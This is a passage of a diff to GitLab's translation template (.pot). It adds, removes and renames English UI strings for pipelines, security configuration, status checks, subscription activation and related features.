+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
